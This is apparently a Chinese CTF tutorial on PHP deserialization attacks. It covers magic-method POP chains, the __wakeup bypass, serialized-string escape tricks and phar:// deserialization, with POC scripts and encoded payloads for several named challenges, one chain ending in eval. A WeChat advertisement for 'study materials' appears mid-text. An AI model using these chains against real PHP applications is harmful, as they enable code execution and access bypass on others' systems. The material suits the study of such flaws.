PHP反序列化新手入门学习总结

最近写了点反序列化的题,才疏学浅,希望对CTF新手有所帮助,有啥错误还请大师傅们批评指正。

php反序列化简单理解

首先我们需要理解什么是序列化,什么是反序列化?

PHP序列化:serialize()

序列化是将变量或对象转换成字符串的过程,用于存储或传递 PHP 的值的过程中,同时不丢失其类型和结构。

而PHP反序列化:unserialize()

反序列化是将字符串转换成变量或对象的过程

通过序列化与反序列化我们可以很方便的在PHP中进行对象的传递。本质上反序列化是没有危害的。但是如果用户对数据可控那就可以利用反序列化构造payload攻击。这样说可能还不是很具体,举个列子比如你网购买一个架子,发货为节省成本,是拆开给你发过去,到你手上,然后给你说明书让你组装,拆开给你这个过程可以说是序列化,你组装的过程就是反序列化

说这么多不如直接一点测试一下

php序列化的字母标识

a - array

b - boolean

d - double

i - integer

o - common object

r - reference

s - string

C - custom object

O - class

N - null

R - pointer reference

U - unicode string

N - NULL

测试一下

test1;  
 }  
}  
$a=new TEST();  
echo serialize($a);  
//O:4:"TEST":3:{s:5:"test1";s:2:"11";s:11:" TEST test2";s:2:"22";s:8:" * test3";s:2:"33";}

O代表类,然后后面4代表类名长度,接着双引号内是类名

然后是类中变量的个数:{类型:长度:"值";类型:长度:"值"...以此类推}

protected 和private其实是有不可打印字符的,所以这里附上截图

从图中可以看到有几个不可打印字符,关于这个还有一些特别的地方,和具体放在了后边写

有时候做题时为了防止传参中有啥意外,一般就会urlencode一下

什么是魔术方法?

做php反序列化的题总会遇到魔术方法

其实就是一种特殊方法当对对象执行某些操作时会覆盖 PHP 的默认操作

举个例子如下,这里用常见的__construct和__destruct魔术方法,其实就是构造函数和析构函数

a;  
 }  
 public function __destruct()  
 {  
 echo $this->a="这里是__destruct";  
 }  

}  
$a=new A();  

//输出这里是__construct这里是__destruct

后边的题中也会给一些测试魔术方法的例子

想买给出魔术方法触发的情况,这对解题有很大帮助

__construct 当一个对象创建时被调用,

__destruct 当一个对象销毁时被调用,

__toString 当一个对象被当作一个字符串被调用。

__wakeup() 使用unserialize时触发

__sleep() 使用serialize时触发

__destruct() 对象被销毁时触发

__call() 对不存在的方法或者不可访问的方法进行调用就自动调用

__callStatic() 在静态上下文中调用不可访问的方法时触发

__get() 用于从不可访问的属性读取数据

__set() 在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

__isset() 在不可访问的属性上调用isset()或empty()触发

__unset() 在不可访问的属性上使用unset()时触发

__toString() 把类当作字符串使用时触发,返回值需要为字符串

__invoke() 当脚本尝试将对象调用为函数时触发

光看还是了解不够,具体还得到亲自尝试才可以,下面我做了一些CTF题,在此分享给大家。

【----帮助网安学习,以下所有学习资料加vx:yj009991,备注“思否”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)

简单的反序列化题

题目来自[SWPUCTF 2021 新生赛]ez_unserialize

admin ="user";  
$this->passwd = "123456";  
}  

public function __destruct(){  
if($this->admin === "admin" && $this->passwd === "ctf"){  
include("flag.php");  
echo $flag;  
}else{  
echo $this->admin;  
echo $this->passwd;  
echo "Just a bit more!";  
}  
}  
}  

$p = $_GET['p'];  
unserialize($p);  
?>

在__construct方法里admin被赋值为user,passwd被赋值为123456,而在__destruct方法需要把$this->admin === "admin" && $this->passwd === "ctf"这个式子成立才能输出flag

php反序列化是可以控制类方法的属性但不能改类方法的代码

于是我们直接更改就行,

admin ="admin";  
 $this->passwd = "ctf";  
 }  
}  
$a=new wllm();  
echo urlencode(serialize($a));  
?>

然后传参就行了,一般这里要url编码一下,规避不可打印字符,前面我们提到private protected 属性 序列化出来会有不可打印字符。

__wakeup绕过

这个其实是个CVE,CVE-2016-7124

影响版本php5<5.6.25,php7<7.010

简单描述就是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行

而魔术方法__wakeup执行unserialize()时,先会调用这个函数

写个代码本地测试一下

a="触发__construct";  
 }  
 public function __wakeup()  
 {  
 $this->a="触发__wakeup";  
 }  
 public function __destruct()  
 {  
 echo $this->a;  
 }  

}  
$a=new A();  
echo serialize($a);

O:1:"A":1:{s:1:"a";s:17:"触发__construct";}先正常序列化一下

反序列化一下,输出触发__wakeup

PHP反序列化新手入门学习总结_第1张图片

O:1:"A":2:{s:1:"a";s:17:"触发__construct";} 把对象个数改为2

PHP反序列化新手入门学习总结_第2张图片

触发__construct,绕过了wakeup

[极客大挑战 2019]PHP __wakeup()绕过
username = $username;  
 $this->password = $password;  
 }  

 function __wakeup(){  
 $this->username = 'guest';  
 }  

 function __destruct(){  
 if ($this->password != 100) {  
 echo "
NO!!!hacker!!!
"; echo "You name is: "; echo $this->username;echo "
"; echo "You password is: "; echo $this->password;echo "
"; die(); } if ($this->username === 'admin') { global $flag; echo $flag; }else{ echo "
hello my friend~~
sorry i can't give you the flag!"; die(); } } }

看源码我们需要password=100,username=admin,但反序列化过程中wakeup方法里会把username赋值为guest;

这里我们先生成一个对象,然后序列化并Url编码,接着把它反序列化,var_dump一下看看

//$a=new Name('admin','100');  
//echo urlencode(serialize($a));  
//echo serialize($a);  
$b="O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D";  
var_dump(unserialize(urldecode($b)));

PHP反序列化新手入门学习总结_第3张图片

那么修改对象个数为大于2

O%3A4%3A%22Name%22%3A4%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D

得到flagPHP反序列化新手入门学习总结_第4张图片

POC

username = $username;  
 $this->password = $password;  
 }  


}  

$a=new Name('admin','100');  
echo urlencode(serialize($a));  
//echo serialize($a);  
//O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bs%3A3%3A%22100%22%3B%7D  
?>

反序列化逃逸问题

逃逸问题的本质是改变序列化字符串的长度,导致反序列化漏洞

所以会有两种情况,一种是由长变短,一种是由短变长

由长变短

自己随手写个题测试下

a=$_GET['a'];  
 $this->b="noflag";  
 $this->c=$_GET['c'];  
 }  
 public function check()  
 {  
 if ($this->b==="123")  
 {  
 echo "flag{123dddd}";  
 }  
 else if ($this->a==="test")  
 {  
 echo "give you flag";  
 }  
 else  
 {  
 echo "no flag";  
 }  
 }  
 public function __destruct()  
 {  
 $this->check();  
 }  
}  
$a=new A();  
$b=serialize($a);  
$c=str_replace("aa","b",$b);  
unserialize($c);

这里本地写一个测试简单利用下,学会这个逃逸思路即可

$b=serialize($a);  
echo $b;  
$c=str_replace("aa","b",$b);  
echo($c);  
//O:1:"A":3:{s:1:"a";s:4:"aaaa";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}  
//O:1:"A":3:{s:1:"a";s:4:"bb";s:1:"b";s:6:"noflag";s:1:"c";s:2:"11";}

这里测试一下,很明显可以看见4个aaaa 变成了两个b,但s:4依然是四个字符串,a的值就相当于是从aaaa变成了bb";这样,相当于往后吞噬掉了两位,而这个题需要$b为123才能给flag,

$this->b="noflag";而这个已经给b赋值了,我们序列化出来可以看到s:1:"b";s:6:"noflag",之前可以看出,利用这个过滤可以吞噬掉后边的序列化,那岂不是可以把后边的都吞噬掉,然后根据序列化格式补全,依然可以正常的反序列化出来,把$b的值给覆盖掉

开始构造

然后计算要吞噬掉多少位

print(len('";s:1:"b";s:6:"noflag";s:1:"c";s:3:'))  
print(36*'aa')  
//35  
//aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

35个长度,构造出来肯定超过十个了,所以s:1的1会变成十位数,多出一位,所以要+1,用36个aa

a=36个aa,c=;s:1:"b";s:3:"123

这样构造出来为

O:1:"A":3:{s:1:"a";s:72:"bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:";s:1:"b";s:3:"123";}

bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:

print(len('bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb";s:1:"b";s:6:"noflag";s:1:"c";s:17:'))

刚好为72个,成功反序列化,得到flag

PHP反序列化新手入门学习总结_第5张图片

由短变长

题目来自ctfshowWEB262

index.php

from = $f;  
$this->msg = $m;  
$this->to = $t;  
}  
}  

$f = $_GET['f'];  
$m = $_GET['m'];  
$t = $_GET['t'];  

if(isset($f) && isset($m) && isset($t)){  
$msg = new message($f,$m,$t);  
$umsg = str_replace('fuck', 'loveU', serialize($msg));  
setcookie('msg',base64_encode($umsg));  
echo 'Your message has been sent';  
}  

highlight_file(__FILE__);

从题目注释里可以找到message.php

message.php源码

from = $f;  
$this->msg = $m;  
$this->to = $t;  
}  
}  

if(isset($_COOKIE['msg'])){  
$msg = unserialize(base64_decode($_COOKIE['msg']));  
if($msg->token=='admin'){  
echo $flag;  
}  
}

很明显,要想得到flag要把token值更改为admin

但是正常反序列化,字符串个数是固定的,$umsg = str_replace('fuck', 'loveU', serialize($msg));但是这里fuck被替换为loveU,四个字符被替换成五个字符,简单演示一下

可以很明显的看出来,s:8字符串应该是8个,替换后变为10个,因为有两个fuck,这样还看不出来什么,如果我们把多的字符串改为";s:5:"token";s:5:"admin";}而此时后面的";s:5:"token";s:4:"user";}这个就无效了

因为php在反序列化时,底层代码是以;作为字段的分隔,以}作为结尾,并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化

伪造的序列化字符串变成真的了,伪造的序列化字符串长度为27,loveU比fuck多一位

那么需要27个fuck就行

payload

?f=1

&m=1

&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后访问message.php即可 当然这个有非预期解,直接修改token值写到cookie里就行,不过关键是了解到反序列化字符串逃逸问题的思路

POP链构造

做这种题关键是php魔术方法,构造PHP先找到头部和尾部,头部就是用户可控的地方,也就是可以传入参数的地方,然后找尾部,比如关键代码,eval,file_put_contents这种,然后从尾部开始推导,根据魔术方法的特性,一步一步往上触发,根据下面的题,来学习下

[SWPUCTF 2021 新生赛]pop

题目源码

admin === 'w44m' && $this->passwd ==='08067'){  
include('flag.php');  
echo $flag;  
}else{  
echo $this->admin;  
echo $this->passwd;  
echo 'nono';  
}  
}  
}  

class w22m{  
public $w00m;  
public function __destruct(){  
echo $this->w00m;  
}  
}  

class w33m{  
public $w00m;  
public $w22m;  
public function __toString(){  
$this->w00m->{$this->w22m}();  
return 0;  
}  
}  

$w00m = $_GET['w00m'];  
unserialize($w00m);  

?>

POP链入手,先找关键代码,然后推断

需要admin为w44m,passwd为08067 才能得到flag

if($this->admin === 'w44m' && $this->passwd ==='08067'){

echo $flag;

发现可以利用$this->w00m->{$this->w22m}();

这个地方,修改w22m=getflag,那么这个地方就有getflag()函数了

在类w22m中 方法__destruct中echo $this->w00m;echo了一个对象,会触发tostring方法

前面魔术方法提到

__toString 当一个对象被当作一个字符串被调用。这样的话我们便可以利用to_Sting方法里面的代码了,传参点是w00m,

链子构造为 w22m::__destruct->w33m::toString->w44m::getflag

poc如下,这里要用urlencode,因为我们前面提到private和protected生产序列化有不可见字符

w00m;  
 }  
}  
class w33m{  
 public $w00m="";  
 public $w22m="getflag";  
 public function __toString(){  
 $this->w00m->{$this->w22m}();  
 return 1;  
 }  
}  
$a=new w22m();  
$a->w00m=new w33m();  
$a->w00m->w00m=new w44m();  
echo urlencode( serialize($a));  


?>
[NISACTF 2022]babyserialize
fun=="show_me_flag"){  
hint();  
}  
}  

function __call($from,$val){  
$this->fun=$val[0];  
}  

public function __toString()  
{  
echo $this->fun;  
return " ";  
}  
public function __invoke()  
{  
checkcheck($this->txw4ever);  
@eval($this->txw4ever);  
}  
}  

class TianXiWei{  
public $ext;  
public $x;  
public function __wakeup()  
{  
$this->ext->nisa($this->x);  
}  
}  

class Ilovetxw{  
public $huang;  
public $su;  

public function __call($fun1,$arg){  
$this->huang->fun=$arg[0];  
}  

public function __toString(){  
$bb = $this->su;  
return $bb();  
}  
}  

class four{  
public $a="TXW4EVER";  
private $fun='abc';  

public function __set($name, $value)  
{  
$this->$name=$value;  
if ($this->fun = "sixsixsix"){  
strtolower($this->a);  
}  
}  
}  

if(isset($_GET['ser'])){  
@unserialize($_GET['ser']);  
}else{  
highlight_file(__FILE__);  
}  

//func checkcheck($data){  
// if(preg_match(......)){  
// die(something wrong);  
// }  
//}  

//function hint(){  
// echo ".......";  
// die();  
//}  
?>

查看了一下提示发现什么也没有

if(isset($_GET['ser'])){@unserialize($_GET['ser']);

这是头部

这是尾部

public function __invoke(){checkcheck($this->txw4ever);@eval($this->txw4ever);

}

从__invoke()这里开始触发

__invoke() 当脚本尝试将对象调用为函数时触发

return $bb()而这里有一个函数调用

那么$bb是class Nisa的对象就会调用 __invoke

触发$bb要调用 __toString()

而__toString()是

当一个对象被当作一个字符串被调用。

找类似echo 这种代码,而这里有个strtolower

PHP反序列化新手入门学习总结_第6张图片

strtolower是在set方法里的

__set触发

在给不可访问的(protected或者private)或者不存在的属性赋值的时候,会被调用

在four类的中有private $fun='abc';

Ilovetxw类中的__call方法访问了fun这个变量

function __call($from,$val){  
 $this->fun=$val[0];  
}

而__call方法

对不存在的方法或者不可访问的方法进行调用就自动调用

TianXiWei类中的__wakeup会触发__call

$this->ext->nisa($this->x); nisa()这个方法并不存在

这里详细说下

ext->nisa($this->x);  
}  
}  

class test  
{  
 public $a ="";  
 public function __call($a,$b)  
 {  
 echo "call";  
 }  
}  
$a=new TianXiWei();  
$a->ext=new test();  
//echo urlencode(serialize($a));  
echo serialize($a);//O:9:"TianXiWei":2:{s:3:"ext";O:4:"test":1:{s:1:"a";s:0:"";}s:1:"x";N;}  
//echo serialize($a->ext);//O:4:"test":1:{s:1:"a";s:0:"";}

wakeup方法反序列化会触发,而里面nisa方法并不存在,$a->ext=new test()这样会触发到call,在本地测试的时候这样调用会echo call,另外我们可以看出序列化$a和$->ext是不一样的结果

链子很清晰了

TianXiWei::__wakeup->Ilovetxw::__call->four::__set->Ilovetxw::__toString->NISA::__invoke

POC

ext=new Ilovetxw();//触发__call  
$a->ext->huang=new four();//触发__set  
$a->ext->huang->a=new Ilovetxw();//触发__tosrting  
$a->ext->huang->a->su=new NISA();//触发__invoke  
echo urlencode(serialize($a));

相信到这里,做这种题已经有一定思路了,不要着急,找到方向,然后一步一步去构造

phar反序列化

单的理解phar反序列化

phar是什么?

phar是php提供的一类文件的后缀名称,也是php伪协议的一种。

phar可以干什么?

将多个php文件合并成一个独立的压缩包,相对独立

不用解压到硬盘就可以运行php脚本

支持web服务器和命令行运行

注意要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件

PHP反序列化新手入门学习总结_第7张图片
phar文件的的结构

一个phar文件通常由四部分组成,

  • a stub:可以理解为一个标志,格式为xxx,前面内容不限,但必须以__HALT_COMPILER();?>来结尾,否则phar扩展将无法识别这个文件为phar文件。
  • a manifest describing the contents:phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
  • the file contents:被压缩文件的内容。这里不是重点,内容不影响
  • [optional] a signature for verifying Phar integrity (phar file format only):签名,放在文件末尾
startBuffering();  
$phar->setStub(""); //设置stub  
$o = new Test();  
$phar->setMetadata($o); //将自定义的meta-data存入manifest  
$phar->addFromString("test.txt", "test"); //添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();  

?>

生成一个phar.phar文件

拉进010分析

PHP反序列化新手入门学习总结_第8张图片

可以清楚看到一个标识符,一个序列化,一个文件名

有序列化数据必然会有反序列化操作 ,php一大部分的文件系统函数 通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化 ,受影响的函数如下

is_dir(),is_file(),is_link(),copy(),file(),stat(),readfile(),unlink(),filegroup(),fileinode(),fileatime(),filectime(),fopen(),filemtime(),fileowner(),fileperms(),file_exits(),file_get_contents(),file_put_contents(),is_executable(),is_readable(),is_writable(),parse_ini_file

startBuffering();  
$phar->setStub("");  
$o=new Test();  
$phar->setMetadata($o);  
$phar->addFromString("flag.txt","flag");//添加要压缩的文件  
//签名自动计算  
$phar->stopBuffering();  
?>

这里用file_get_contents测试下

name);  
 }  
}  

echo file_get_contents('phar://rce.phar/flag.txt');  
?>

PHP反序列化新手入门学习总结_第9张图片

漏洞利用条件

  1. phar文件要能够上传到服务器端。
  2. 要有可用的魔术方法作为“跳板”。
  3. 文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。

姿势

compress.bzip://phar:///test.phar/test.txt compress.bzip2://phar:///test.phar/test.txt compress.zlib://phar:///home/sx/test.phar/test.txt php://filter/resource=phar:///test.phar/test.txt

php://filter/read=convert.base64-encode/resource=phar://phar.phar

可以用于文件上传,有文件上传头限制,还可以这样,例如GIF

$phar->setStub(“GIF89a”.""); //设置stub 这样可以生成一个phar.phar,修改后缀名为phar.gif

[SWPUCTF 2021 新生赛]babyunser phar反序列化

查看class.php获取源码

name='aa';  
 }  

 public function __destruct(){  
 $this->name=strtolower($this->name);  
 }  
}  

class ff{  
 private $content;  
 public $func;  

 public function __construct(){  
 $this->content="";  
 }  

 public function __get($key){  
 $this->$key->{$this->func}($_POST['cmd']);  
 }  
}  

class zz{  
 public $filename;  
 public $content='surprise';  

 public function __construct($filename){  
 $this->filename=$filename;  
 }  

 public function filter(){  
 if(preg_match('/^/|php:|data|zip|..//i',$this->filename)){  
 die('这不合理');  
 }  
 }  

 public function write($var){  
 $filename=$this->filename;  
 $lt=$this->filename->$var;  
 //此功能废弃,不想写了  
 }  

 public function getFile(){  
 $this->filter();  
 $contents=file_get_contents($this->filename);  
 if(!empty($contents)){  
 return $contents;  
 }else{  
 die("404 not found");  
 }  
 }  

 public function __toString(){  
 $this->{$_POST['method']}($_POST['var']);  
 return $this->content;  
 }  
}  

class xx{  
 public $name;  
 public $arg;  

 public function __construct(){  
 $this->name='eval';  
 $this->arg='phpinfo();';  
 }  

 public function __call($name,$arg){  
 $name($arg[0]);  
 }  
}

getFile();  
?>